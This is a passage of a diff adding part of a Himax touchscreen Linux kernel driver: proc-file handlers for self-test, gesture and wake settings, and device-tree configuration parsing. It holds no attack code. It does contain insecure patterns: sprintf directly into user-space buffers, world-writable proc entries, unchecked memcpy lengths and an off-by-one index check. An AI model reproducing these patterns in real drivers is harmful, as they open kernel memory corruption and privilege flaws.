&cmdbuf[0], 0, DEFAULT_RETRY_CNT); + msleep(120); + + i2c_himax_write(private_ts->client, HX_CMD_TSSLPIN, &cmdbuf[0], 0, DEFAULT_RETRY_CNT); + msleep(120); + +#ifdef HX_TP_SELF_TEST_DRIVER + himax_int_enable(private_ts->client->irq, 0, true); + diag_command = 0x00; + Selftest_flag = 0; +#else + cmdbuf[0] = 0x00; + i2c_himax_write(private_ts->client, 0xF1, &cmdbuf[0], 1, DEFAULT_RETRY_CNT); + msleep(120); + + i2c_himax_read(private_ts->client, 0xB1, valuebuf, 8, DEFAULT_RETRY_CNT); + msleep(20); + + for (i = 0;i<8;i++) { + I("[Himax]: After slf test 0xB1 buff_back[%d] = 0x%x\n", i, valuebuf[i]); + } + + msleep(30); +#endif + if (valuebuf[0]== 0xAA) { + I("[Himax]: self-test pass\n"); + pf_value = 0x0; + } else { + E("[Himax]: self-test fail\n"); + pf_value = 0x1; + } + + return pf_value; +} + +static ssize_t himax_self_test_read(struct file *file, char *buf, + size_t len, loff_t *pos) +{ + int val=0x00; + int ret = 0; + + + if (!HX_PROC_SEND_FLAG) + { + val = himax_chip_self_test(); + if (val == 0x00) { + ret += sprintf(buf + ret, "Self_Test Pass\n"); + } else { + ret += sprintf(buf + ret, "Self_Test Fail\n"); + } + HX_PROC_SEND_FLAG=1; + } + else + HX_PROC_SEND_FLAG=0; + return ret; +} + +static struct file_operations himax_proc_self_test_ops = +{ + .owner = THIS_MODULE, + .read = himax_self_test_read, +}; + +#endif + +#ifdef HX_TP_PROC_HITOUCH +static ssize_t himax_hitouch_read(struct file *file, char *buf, + size_t len, loff_t *pos) +{ + int ret = 0; + if (!HX_PROC_SEND_FLAG) + { + if (hitouch_command == 0) + { + ret += sprintf(buf + ret, "Himax Touch Driver Version:\n"); + ret += sprintf(buf + ret, "%s \n", HIMAX_DRIVER_VER); + } + else if (hitouch_command == 1) + { + ret += sprintf(buf + ret, "hitouch_is_connect = true\n"); + } + else if (hitouch_command == 2) + { + ret += sprintf(buf + ret, "hitouch_is_connect = false\n"); + } + HX_PROC_SEND_FLAG=1; + } + else + HX_PROC_SEND_FLAG=0; + + return ret; +} + +//----------------------------------------------------------------------------------- +//himax_hitouch_store +//command 0 : Get Driver Version +//command 1 : Hitouch Connect +//command 2 : Hitouch Disconnect +//----------------------------------------------------------------------------------- +static ssize_t himax_hitouch_write(struct file *file, const char *buff, + size_t len, loff_t *pos) +{ + char buf[80] = {0}; + + if (len >= 80) + { + I("%s: no command exceeds 80 chars.\n", __func__); + return -EFAULT; + } + if (copy_from_user(buf, buff, len)) + { + return -EFAULT; + } + + if (buf[0] == '0') + { + hitouch_command = 0; + } + else if (buf[0] == '1') + { + hitouch_command = 1; + hitouch_is_connect = true; + I("hitouch_is_connect = true\n"); + } + else if (buf[0] == '2') + { + hitouch_command = 2; + hitouch_is_connect = false; + I("hitouch_is_connect = false\n"); + } + return len; +} + +static struct file_operations himax_proc_hitouch_ops = +{ + .owner = THIS_MODULE, + .read = himax_hitouch_read, + .write = himax_hitouch_write, +}; +#endif + +#ifdef HX_DOT_VIEW +static ssize_t himax_cover_read(struct file *file, char *buf, + size_t len, loff_t *pos) +{ + struct himax_ts_data *ts = private_ts; + size_t ret = 0; + + if (!HX_PROC_SEND_FLAG) + { + ret = snprintf(buf, PAGE_SIZE, "%d\n", ts->cover_enable); + HX_PROC_SEND_FLAG=1; + } + else + HX_PROC_SEND_FLAG=0; + + return ret; +} + +static ssize_t himax_cover_write(struct file *file, const char *buff, + size_t len, loff_t *pos) +{ + struct himax_ts_data *ts = private_ts; + char buf[80] = {0}; + + if (len >= 80) + { + I("%s: no command exceeds 80 chars.\n", __func__); + return -EFAULT; + } + if (copy_from_user(buf, buff, len)) + { + return -EFAULT; + } + + if (buf[0] == '0') + ts->cover_enable = 0; + else if (buf[0] == '1') + ts->cover_enable = 1; + else + return -EINVAL; + himax_set_cover_func(ts->cover_enable); + + I("%s: cover_enable = %d.\n", __func__, ts->cover_enable); + + return len; +} + +static struct file_operations himax_proc_cover_ops = +{ + .owner = THIS_MODULE, + .read = himax_cover_read, + .write = himax_cover_write, +}; +#endif + +#ifdef HX_SMART_WAKEUP +static ssize_t himax_SMWP_read(struct file *file, char *buf, + size_t len, loff_t *pos) +{ + struct himax_ts_data *ts = private_ts; + size_t ret = 0; + + if (!HX_PROC_SEND_FLAG) + { + ret = snprintf(buf, PAGE_SIZE, "%d\n", ts->SMWP_enable); + HX_PROC_SEND_FLAG=1; + } + else + HX_PROC_SEND_FLAG=0; + + return ret; +} + +static ssize_t himax_SMWP_write(struct file *file, const char *buff, + size_t len, loff_t *pos) +{ + struct himax_ts_data *ts = private_ts; + char buf[80] = {0}; + + if (len >= 80) + { + I("%s: no command exceeds 80 chars.\n", __func__); + return -EFAULT; + } + if (copy_from_user(buf, buff, len)) + { + return -EFAULT; + } + + if (buf[0] == '0') + ts->SMWP_enable = 0; + else if (buf[0] == '1') + ts->SMWP_enable = 1; + else + return -EINVAL; + + I("%s: SMART_WAKEUP_enable = %d.\n", __func__, ts->SMWP_enable); + + return len; +} + +static struct file_operations himax_proc_SMWP_ops = +{ + .owner = THIS_MODULE, + .read = himax_SMWP_read, + .write = himax_SMWP_write, +}; + +static ssize_t himax_GESTURE_read(struct file *file, char *buf, + size_t len, loff_t *pos) +{ + struct himax_ts_data *ts = private_ts; + size_t ret = 0; + + if (HX_PROC_SEND_FLAG<16) + { + ret = sprintf(buf, "ges_en[%d]=%d \n",HX_PROC_SEND_FLAG ,ts->gesture_cust_en[HX_PROC_SEND_FLAG]); + HX_PROC_SEND_FLAG++; + } + else + { + HX_PROC_SEND_FLAG = 0; + ret = 0; + } + return ret; +} + +static ssize_t himax_GESTURE_write(struct file *file, const char *buff, + size_t len, loff_t *pos) +{ + struct himax_ts_data *ts = private_ts; + int i =0; + char buf[80] = {0}; + + if (len >= 80) + { + I("%s: no command exceeds 80 chars.\n", __func__); + return -EFAULT; + } + if (copy_from_user(buf, buff, len)) + { + return -EFAULT; + } + + for (i = 0;i < 16;i++) + { + if (buf[i] == '0') + ts->gesture_cust_en[i]= 0; + else if (buf[i] == '1') + ts->gesture_cust_en[i]= 1; + else + ts->gesture_cust_en[i]= 0; + I("gesture en[%d]=%d \n", i, ts->gesture_cust_en[i]); + } + return len; +} + +static struct file_operations himax_proc_Gesture_ops = +{ + .owner = THIS_MODULE, + .read = himax_GESTURE_read, + .write = himax_GESTURE_write, +}; +#endif + +static int himax_touch_proc_init(void) +{ + himax_touch_proc_dir = proc_mkdir( HIMAX_PROC_TOUCH_FOLDER, NULL); + if (himax_touch_proc_dir == NULL) + { + + E(" %s: himax_touch_proc_dir file create failed!\n", __func__); + return -ENOMEM; + } + + himax_proc_debug_level_file = proc_create(HIMAX_PROC_DEBUG_LEVEL_FILE, (S_IWUSR|S_IRUGO), + himax_touch_proc_dir, &himax_proc_debug_level_ops); + if (himax_proc_debug_level_file == NULL) + { + E(" %s: proc debug_level file create failed!\n", __func__); + goto fail_1; + } + + himax_proc_vendor_file = proc_create(HIMAX_PROC_VENDOR_FILE, (S_IRUGO), + himax_touch_proc_dir, &himax_proc_vendor_ops); + if (himax_proc_vendor_file == NULL) + { + E(" %s: proc vendor file create failed!\n", __func__); + goto fail_2; + } + + himax_proc_attn_file = proc_create(HIMAX_PROC_ATTN_FILE, (S_IRUGO), + himax_touch_proc_dir, &himax_proc_attn_ops); + if (himax_proc_attn_file == NULL) + { + E(" %s: proc attn file create failed!\n", __func__); + goto fail_3; + } + + himax_proc_int_en_file = proc_create(HIMAX_PROC_INT_EN_FILE, (S_IWUSR|S_IRUGO), + himax_touch_proc_dir, &himax_proc_int_en_ops); + if (himax_proc_int_en_file == NULL) + { + E(" %s: proc int en file create failed!\n", __func__); + goto fail_4; + } + + himax_proc_layout_file = proc_create(HIMAX_PROC_LAYOUT_FILE, (S_IWUSR|S_IRUGO), + himax_touch_proc_dir, &himax_proc_layout_ops); + if (himax_proc_layout_file == NULL) + { + E(" %s: proc layout file create failed!\n", __func__); + goto fail_5; + } +#ifdef HX_TP_PROC_RESET + himax_proc_reset_file = proc_create(HIMAX_PROC_RESET_FILE, (S_IWUSR), + himax_touch_proc_dir, &himax_proc_reset_ops); + if (himax_proc_reset_file == NULL) + { + E(" %s: proc reset file create failed!\n", __func__); + goto fail_6; + } +#endif + +#ifdef HX_TP_PROC_DIAG + himax_proc_diag_file = proc_create(HIMAX_PROC_DIAG_FILE, (S_IWUSR|S_IRUGO), + himax_touch_proc_dir, &himax_proc_diag_ops); + if (himax_proc_diag_file == NULL) + { + E(" %s: proc diag file create failed!\n", __func__); + goto fail_7; + } +#endif + +#ifdef HX_TP_PROC_REGISTER + himax_proc_register_file = proc_create(HIMAX_PROC_REGISTER_FILE, (S_IWUSR|S_IRUGO), + himax_touch_proc_dir, &himax_proc_register_ops); + if (himax_proc_register_file == NULL) + { + E(" %s: proc register file create failed!\n", __func__); + goto fail_8; + } +#endif + +#ifdef HX_TP_PROC_DEBUG + himax_proc_debug_file = proc_create(HIMAX_PROC_DEBUG_FILE, (S_IWUSR|S_IRUGO), + himax_touch_proc_dir, &himax_proc_debug_ops); + if (himax_proc_debug_file == NULL) + { + E(" %s: proc debug file create failed!\n", __func__); + goto fail_9; + } +#endif + +#ifdef HX_TP_PROC_FLASH_DUMP + himax_proc_flash_dump_file = proc_create(HIMAX_PROC_FLASH_DUMP_FILE, (S_IWUSR|S_IRUGO), + himax_touch_proc_dir, &himax_proc_flash_ops); + if (himax_proc_flash_dump_file == NULL) + { + E(" %s: proc flash dump file create failed!\n", __func__); + goto fail_10; + } +#endif +#ifdef HX_TP_PROC_SELF_TEST + himax_proc_self_test_file = proc_create(HIMAX_PROC_SELF_TEST_FILE, (S_IRUGO), + himax_touch_proc_dir, &himax_proc_self_test_ops); + if (himax_proc_self_test_file == NULL) + { + E(" %s: proc self_test file create failed!\n", __func__); + goto fail_11; + } +#endif + +#ifdef HX_TP_PROC_HITOUCH + himax_proc_hitouch_file = proc_create(HIMAX_PROC_HITOUCH_FILE, (S_IWUSR|S_IRUGO), + himax_touch_proc_dir, &himax_proc_hitouch_ops); + if (himax_proc_hitouch_file == NULL) + { + E(" %s: proc hitouch file create failed!\n", __func__); + goto fail_12; + } +#endif + +#ifdef HX_DOT_VIEW + himax_proc_cover_file = proc_create(HIMAX_PROC_COVER_FILE, (S_IWUSR|S_IRUGO|S_IWUGO), + himax_touch_proc_dir, &himax_proc_cover_ops); + if (himax_proc_cover_file == NULL) + { + E(" %s: proc cover file create failed!\n", __func__); + goto fail_13; + } +#endif + +#ifdef HX_SMART_WAKEUP + himax_proc_SMWP_file = proc_create(HIMAX_PROC_SMWP_FILE, (S_IWUSR|S_IRUGO|S_IWUGO), + himax_touch_proc_dir, &himax_proc_SMWP_ops); + if (himax_proc_SMWP_file == NULL) + { + E(" %s: proc SMWP file create failed!\n", __func__); + goto fail_14; + } + himax_proc_GESTURE_file = proc_create(HIMAX_PROC_GESTURE_FILE, (S_IWUSR|S_IRUGO|S_IWUGO), + himax_touch_proc_dir, &himax_proc_Gesture_ops); + if (himax_proc_GESTURE_file == NULL) + { + E(" %s: proc GESTURE file create failed!\n", __func__); + goto fail_14; + } +#endif + + return 0 ; +#ifdef HX_SMART_WAKEUP + fail_14: +#endif +#ifdef HX_DOT_VIEW + remove_proc_entry( HIMAX_PROC_COVER_FILE, himax_touch_proc_dir ); + fail_13: +#endif +#ifdef HX_TP_PROC_HITOUCH + remove_proc_entry( HIMAX_PROC_HITOUCH_FILE, himax_touch_proc_dir ); + fail_12: +#endif +#ifdef HX_TP_PROC_SELF_TEST + remove_proc_entry( HIMAX_PROC_SELF_TEST_FILE, himax_touch_proc_dir ); + fail_11: +#endif +#ifdef HX_TP_PROC_FLASH_DUMP + remove_proc_entry( HIMAX_PROC_FLASH_DUMP_FILE, himax_touch_proc_dir ); + fail_10: +#endif +#ifdef HX_TP_PROC_DEBUG + remove_proc_entry( HIMAX_PROC_DEBUG_FILE, himax_touch_proc_dir ); + fail_9: +#endif +#ifdef HX_TP_PROC_REGISTER + remove_proc_entry( HIMAX_PROC_REGISTER_FILE, himax_touch_proc_dir ); + fail_8: +#endif +#ifdef HX_TP_PROC_DIAG + remove_proc_entry( HIMAX_PROC_DIAG_FILE, himax_touch_proc_dir ); + fail_7: +#endif +#ifdef HX_TP_PROC_RESET + remove_proc_entry( HIMAX_PROC_RESET_FILE, himax_touch_proc_dir ); + fail_6: +#endif + remove_proc_entry( HIMAX_PROC_LAYOUT_FILE, himax_touch_proc_dir ); + fail_5: remove_proc_entry( HIMAX_PROC_INT_EN_FILE, himax_touch_proc_dir ); + fail_4: remove_proc_entry( HIMAX_PROC_ATTN_FILE, himax_touch_proc_dir ); + fail_3: remove_proc_entry( HIMAX_PROC_VENDOR_FILE, himax_touch_proc_dir ); + fail_2: remove_proc_entry( HIMAX_PROC_DEBUG_LEVEL_FILE, himax_touch_proc_dir ); + fail_1: remove_proc_entry( HIMAX_PROC_TOUCH_FOLDER, NULL ); + return -ENOMEM; +} + +static void himax_touch_proc_deinit(void) +{ +#ifdef HX_SMART_WAKEUP + remove_proc_entry( HIMAX_PROC_GESTURE_FILE, himax_touch_proc_dir ); + remove_proc_entry( HIMAX_PROC_SMWP_FILE, himax_touch_proc_dir ); +#endif +#ifdef HX_DOT_VIEW + remove_proc_entry( HIMAX_PROC_COVER_FILE, himax_touch_proc_dir ); +#endif +#ifdef HX_TP_PROC_HITOUCH + remove_proc_entry( HIMAX_PROC_HITOUCH_FILE, himax_touch_proc_dir ); +#endif +#ifdef HX_TP_PROC_SELF_TEST + remove_proc_entry(HIMAX_PROC_SELF_TEST_FILE, himax_touch_proc_dir); +#endif +#ifdef HX_TP_PROC_FLASH_DUMP + remove_proc_entry(HIMAX_PROC_FLASH_DUMP_FILE, himax_touch_proc_dir); +#endif +#ifdef HX_TP_PROC_DEBUG + remove_proc_entry( HIMAX_PROC_DEBUG_FILE, himax_touch_proc_dir ); +#endif +#ifdef HX_TP_PROC_REGISTER + remove_proc_entry(HIMAX_PROC_REGISTER_FILE, himax_touch_proc_dir); +#endif +#ifdef HX_TP_PROC_DIAG + remove_proc_entry(HIMAX_PROC_DIAG_FILE, himax_touch_proc_dir); +#endif +#ifdef HX_TP_PROC_RESET + remove_proc_entry( HIMAX_PROC_RESET_FILE, himax_touch_proc_dir ); +#endif + remove_proc_entry( HIMAX_PROC_LAYOUT_FILE, himax_touch_proc_dir ); + remove_proc_entry( HIMAX_PROC_INT_EN_FILE, himax_touch_proc_dir ); + remove_proc_entry( HIMAX_PROC_ATTN_FILE, himax_touch_proc_dir ); + remove_proc_entry( HIMAX_PROC_VENDOR_FILE, himax_touch_proc_dir ); + remove_proc_entry( HIMAX_PROC_DEBUG_LEVEL_FILE, himax_touch_proc_dir ); + remove_proc_entry( HIMAX_PROC_TOUCH_FOLDER, NULL ); +} + +#endif + +#ifdef CONFIG_OF +#if defined(HX_LOADIN_CONFIG) || defined(HX_AUTO_UPDATE_CONFIG) +static int himax_parse_config(struct himax_ts_data *ts, struct himax_config *pdata) +{ + struct himax_config *cfg_table; + struct device_node *node, *pp = NULL; + struct property *prop; + uint8_t cnt = 0, i = 0; + u32 data = 0; + uint32_t coords[4] = {0}; + int len = 0; + char str[6]={0}; + + node = ts->client->dev.of_node; + if (node == NULL) { + E(" %s, can't find device_node", __func__); + return -ENODEV; + } + + while ((pp = of_get_next_child(node, pp))) + cnt++; + + if (!cnt) + return -ENODEV; + + cfg_table = kzalloc(cnt * (sizeof *cfg_table), GFP_KERNEL); + if (!cfg_table) + return -ENOMEM; + + pp = NULL; + while ((pp = of_get_next_child(node, pp))) { + if (of_property_read_u32(pp, "default_cfg", &data) == 0) + cfg_table[i].default_cfg = data; + + if (of_property_read_u32(pp, "sensor_id", &data) == 0) + cfg_table[i].sensor_id = (data); + + if (of_property_read_u32(pp, "fw_ver_main", &data) == 0) + cfg_table[i].fw_ver_main = data; + + if (of_property_read_u32(pp, "fw_ver_minor", &data) == 0) + cfg_table[i].fw_ver_minor = data; + + if (of_property_read_u32_array(pp, "himax,tw-coords", coords, 4) == 0) { + cfg_table[i].tw_x_min = coords[0], cfg_table[i].tw_x_max = coords[1]; //x + cfg_table[i].tw_y_min = coords[2], cfg_table[i].tw_y_max = coords[3]; //y + } + + if (of_property_read_u32_array(pp, "himax,pl-coords", coords, 4) == 0) { + cfg_table[i].pl_x_min = coords[0], cfg_table[i].pl_x_max = coords[1]; //x + cfg_table[i].pl_y_min = coords[2], cfg_table[i].pl_y_max = coords[3]; //y + } + + prop = of_find_property(pp, "c1", &len); + if ((!prop)||(!len)) { + strcpy(str,"c1"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c1, prop->value, len); + prop = of_find_property(pp, "c2", &len); + if ((!prop)||(!len)) { + strcpy(str, "c2"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c2, prop->value, len); + prop = of_find_property(pp, "c3", &len); + if ((!prop)||(!len)) { + strcpy(str, "c3"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c3, prop->value, len); + prop = of_find_property(pp, "c4", &len); + if ((!prop)||(!len)) { + strcpy(str, "c4"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c4, prop->value, len); + prop = of_find_property(pp, "c5", &len); + if ((!prop)||(!len)) { + strcpy(str, "c5"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c5, prop->value, len); + prop = of_find_property(pp, "c6", &len); + if ((!prop)||(!len)) { + strcpy(str, "c6"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c6, prop->value, len); + prop = of_find_property(pp, "c7", &len); + if ((!prop)||(!len)) { + strcpy(str, "c7"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c7, prop->value, len); + prop = of_find_property(pp, "c8", &len); + if ((!prop)||(!len)) { + strcpy(str, "c8"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c8, prop->value, len); + prop = of_find_property(pp, "c9", &len); + if ((!prop)||(!len)) { + strcpy(str, "c9"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c9, prop->value, len); + prop = of_find_property(pp, "c10", &len); + if ((!prop)||(!len)) { + strcpy(str, "c10"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c10, prop->value, len); + prop = of_find_property(pp, "c11", &len); + if ((!prop)||(!len)) { + strcpy(str, "c11"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c11, prop->value, len); + prop = of_find_property(pp, "c12", &len); + if ((!prop)||(!len)) { + strcpy(str, "c12"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c12, prop->value, len); + prop = of_find_property(pp, "c13", &len); + if ((!prop)||(!len)) { + strcpy(str, "c13"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c13, prop->value, len); + prop = of_find_property(pp, "c14", &len); + if ((!prop)||(!len)) { + strcpy(str, "c14"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c14, prop->value, len); + prop = of_find_property(pp, "c15", &len); + if ((!prop)||(!len)) { + strcpy(str, "c15"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c15, prop->value, len); + prop = of_find_property(pp, "c16", &len); + if ((!prop)||(!len)) { + strcpy(str, "c16"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c16, prop->value, len); + prop = of_find_property(pp, "c17", &len); + if ((!prop)||(!len)) { + strcpy(str, "c17"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c17, prop->value, len); + prop = of_find_property(pp, "c18", &len); + if ((!prop)||(!len)) { + strcpy(str, "c18"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c18, prop->value, len); + prop = of_find_property(pp, "c19", &len); + if ((!prop)||(!len)) { + strcpy(str, "c19"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c19, prop->value, len); + prop = of_find_property(pp, "c20", &len); + if ((!prop)||(!len)) { + strcpy(str, "c20"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c20, prop->value, len); + prop = of_find_property(pp, "c21", &len); + if ((!prop)||(!len)) { + strcpy(str, "c21"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c21, prop->value, len); + prop = of_find_property(pp, "c22", &len); + if ((!prop)||(!len)) { + strcpy(str, "c22"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c22, prop->value, len); + prop = of_find_property(pp, "c23", &len); + if ((!prop)||(!len)) { + strcpy(str, "c23"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c23, prop->value, len); + prop = of_find_property(pp, "c24", &len); + if ((!prop)||(!len)) { + strcpy(str, "c24"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c24, prop->value, len); + prop = of_find_property(pp, "c25", &len); + if ((!prop)||(!len)) { + strcpy(str, "c25"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c25, prop->value, len); + prop = of_find_property(pp, "c26", &len); + if ((!prop)||(!len)) { + strcpy(str, "c26"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c26, prop->value, len); + prop = of_find_property(pp, "c27", &len); + if ((!prop)||(!len)) { + strcpy(str, "c27"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c27, prop->value, len); + prop = of_find_property(pp, "c28", &len); + if ((!prop)||(!len)) { + strcpy(str, "c28"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c28, prop->value, len); + prop = of_find_property(pp, "c29", &len); + if ((!prop)||(!len)) { + strcpy(str, "c29"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c29, prop->value, len); + prop = of_find_property(pp, "c30", &len); + if ((!prop)||(!len)) { + strcpy(str, "c30"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c30, prop->value, len); + prop = of_find_property(pp, "c31", &len); + if ((!prop)||(!len)) { + strcpy(str, "c31"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c31, prop->value, len); + prop = of_find_property(pp, "c32", &len); + if ((!prop)||(!len)) { + strcpy(str, "c32"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c32, prop->value, len); + prop = of_find_property(pp, "c33", &len); + if ((!prop)||(!len)) { + strcpy(str, "c33"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c33, prop->value, len); + prop = of_find_property(pp, "c34", &len); + if ((!prop)||(!len)) { + strcpy(str, "c34"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c34, prop->value, len); + prop = of_find_property(pp, "c35", &len); + if ((!prop)||(!len)) { + strcpy(str, "c35"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c35, prop->value, len); + prop = of_find_property(pp, "c36", &len); + if ((!prop)||(!len)) { + strcpy(str, "c36"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c36, prop->value, len); + prop = of_find_property(pp, "c37", &len); + if ((!prop)||(!len)) { + strcpy(str, "c37"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c37, prop->value, len); + prop = of_find_property(pp, "c38", &len); + if ((!prop)||(!len)) { + strcpy(str, "c38"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c38, prop->value, len); + prop = of_find_property(pp, "c39", &len); + if ((!prop)||(!len)) { + strcpy(str, "c39"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c39, prop->value, len); + prop = of_find_property(pp, "c40", &len); + if ((!prop)||(!len)) { + strcpy(str, "c40"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c40, prop->value, len); +#if 1 + I(" config version=[%02x]", cfg_table[i].c40[1]); +#endif + prop = of_find_property(pp, "c41", &len); + if ((!prop)||(!len)) { + strcpy(str, "c41"); + goto of_find_property_error; + } + memcpy(cfg_table[i].c41, prop->value, len); + +#if 1 + I(" DT#%d-def_cfg:%d,id:%05x, FW:%x.%x, len:%d,", i, + cfg_table[i].default_cfg, cfg_table[i].sensor_id, + cfg_table[i].fw_ver_main, cfg_table[i].fw_ver_minor, cfg_table[i].length); + //I(" pl=[x_m%02d y_M%04d]\n", cfg_table[i].pl_x_min, cfg_table[i].pl_y_max); +#endif + i++; + of_find_property_error: + if (!prop) { + D(" %s:Looking up %s property in node %s failed", + __func__, str, pp->full_name); + return -ENODEV; + } else if (!len) { + D(" %s:Invalid length of configuration data in %s\n", + __func__, str); + return -EINVAL; + } + } + + i = 0; /* confirm which config we should load */ + while ((ts->vendor_fw_ver_H << 8 | ts->vendor_fw_ver_L)< + (cfg_table[i].fw_ver_main << 8 | cfg_table[i].fw_ver_minor)) { + i++; + } + if (cfg_table[i].default_cfg!=0) + goto startloadconf; + while (cfg_table[i].sensor_id > 0 && (cfg_table[i].sensor_id != ts->vendor_sensor_id)) { + I(" id:%#x!=%#x, (i++)",cfg_table[i].sensor_id, ts->vendor_sensor_id); + i++; + } + startloadconf: + if (i <= cnt) { + I(" DT-%s cfg idx(%d) in cnt(%d)", __func__, i, cnt); + pdata->fw_ver_main = cfg_table[i].fw_ver_main; + pdata->fw_ver_minor = cfg_table[i].fw_ver_minor; + pdata->sensor_id = cfg_table[i].sensor_id; + + memcpy(pdata->c1, cfg_table[i].c1, sizeof(pdata->c1)); + memcpy(pdata->c2, cfg_table[i].c2, sizeof(pdata->c2)); + memcpy(pdata->c3, cfg_table[i].c3, sizeof(pdata->c3)); + memcpy(pdata->c4, cfg_table[i].c4, sizeof(pdata->c4)); + memcpy(pdata->c5, cfg_table[i].c5, sizeof(pdata->c5)); + memcpy(pdata->c6, cfg_table[i].c6, sizeof(pdata->c6)); + memcpy(pdata->c7, cfg_table[i].c7, sizeof(pdata->c7)); + memcpy(pdata->c8, cfg_table[i].c8, sizeof(pdata->c8)); + memcpy(pdata->c9, cfg_table[i].c9, sizeof(pdata->c9)); + memcpy(pdata->c10, cfg_table[i].c10, sizeof(pdata->c10)); + memcpy(pdata->c11, cfg_table[i].c11, sizeof(pdata->c11)); + memcpy(pdata->c12, cfg_table[i].c12, sizeof(pdata->c12)); + memcpy(pdata->c13, cfg_table[i].c13, sizeof(pdata->c13)); + memcpy(pdata->c14, cfg_table[i].c14, sizeof(pdata->c14)); + memcpy(pdata->c15, cfg_table[i].c15, sizeof(pdata->c15)); + memcpy(pdata->c16, cfg_table[i].c16, sizeof(pdata->c16)); + memcpy(pdata->c17, cfg_table[i].c17, sizeof(pdata->c17)); + memcpy(pdata->c18, cfg_table[i].c18, sizeof(pdata->c18)); + memcpy(pdata->c19, cfg_table[i].c19, sizeof(pdata->c19)); + memcpy(pdata->c20, cfg_table[i].c20, sizeof(pdata->c20)); + memcpy(pdata->c21, cfg_table[i].c21, sizeof(pdata->c21)); + memcpy(pdata->c22, cfg_table[i].c22, sizeof(pdata->c22)); + memcpy(pdata->c23, cfg_table[i].c23, sizeof(pdata->c23)); + memcpy(pdata->c24, cfg_table[i].c24, sizeof(pdata->c24)); + memcpy(pdata->c25, cfg_table[i].c25, sizeof(pdata->c25)); + memcpy(pdata->c26, cfg_table[i].c26, sizeof(pdata->c26)); + memcpy(pdata->c27, cfg_table[i].c27, sizeof(pdata->c27)); + memcpy(pdata->c28, cfg_table[i].c28, sizeof(pdata->c28)); + memcpy(pdata->c29, cfg_table[i].c29, sizeof(pdata->c29)); + memcpy(pdata->c30, cfg_table[i].c30, sizeof(pdata->c30)); + memcpy(pdata->c31, cfg_table[i].c31, sizeof(pdata->c31)); + memcpy(pdata->c32, cfg_table[i].c32, sizeof(pdata->c32)); + memcpy(pdata->c33, cfg_table[i].c33, sizeof(pdata->c33)); + memcpy(pdata->c34, cfg_table[i].c34, sizeof(pdata->c34)); + memcpy(pdata->c35, cfg_table[i].c35, sizeof(pdata->c35)); + memcpy(pdata->c36, cfg_table[i].c36, sizeof(pdata->c36)); + memcpy(pdata->c37, cfg_table[i].c37, sizeof(pdata->c37)); + memcpy(pdata->c38, cfg_table[i].c38, sizeof(pdata->c38)); + memcpy(pdata->c39, cfg_table[i].c39, sizeof(pdata->c39)); + memcpy(pdata->c40, cfg_table[i].c40, sizeof(pdata->c40)); + memcpy(pdata->c41, cfg_table[i].c41, sizeof(pdata->c41)); + + ts->tw_x_min = cfg_table[i].tw_x_min, ts->tw_x_max = cfg_table[i].tw_x_max; + ts->tw_y_min = cfg_table[i].tw_y_min, ts->tw_y_max = cfg_table[i].tw_y_max; + + ts->pl_x_min = cfg_table[i].pl_x_min, ts->pl_x_max = cfg_table[i].pl_x_max; + ts->pl_y_min = cfg_table[i].pl_y_min, ts->pl_y_max = cfg_table[i].pl_y_max; + + I(" DT#%d-def_cfg:%d,id:%05x, FW:%x.%x, len:%d,", i, + cfg_table[i].default_cfg, cfg_table[i].sensor_id, + cfg_table[i].fw_ver_main, cfg_table[i].fw_ver_minor, cfg_table[i].length); + I(" DT-%s:tw-coords = %d, %d, %d, %d\n", __func__, ts->tw_x_min, + ts->tw_x_max, ts->tw_y_min, ts->tw_y_max); + I(" DT-%s:pl-coords = %d, %d, %d, %d\n", __func__, ts->pl_x_min, + ts->pl_x_max, ts->pl_y_min, ts->pl_y_max); + I(" config version=[%02x]", pdata->c40[1]); + } else { + E(" DT-%s cfg idx(%d) > cnt(%d)", __func__, i, cnt); + return -EINVAL; + } + return 0; +} +#endif +static void himax_vk_parser(struct device_node *dt, + struct himax_i2c_platform_data *pdata) +{ + u32 data = 0; + uint8_t cnt = 0, i = 0; + uint32_t coords[4] = {0}; + struct device_node *node, *pp = NULL; + struct himax_virtual_key *vk; + + node = of_parse_phandle(dt, "virtualkey", 0); + if (node == NULL) { + I(" DT-No vk info in DT"); + return; + } else { + while ((pp = of_get_next_child(node, pp))) + cnt++; + if (!cnt) + return; + + vk = kzalloc(cnt * (sizeof *vk), GFP_KERNEL); + pp = NULL; + while ((pp = of_get_next_child(node, pp))) { + if (of_property_read_u32(pp, "idx", &data) == 0) + vk[i].index = data; + if (of_property_read_u32_array(pp, "range", 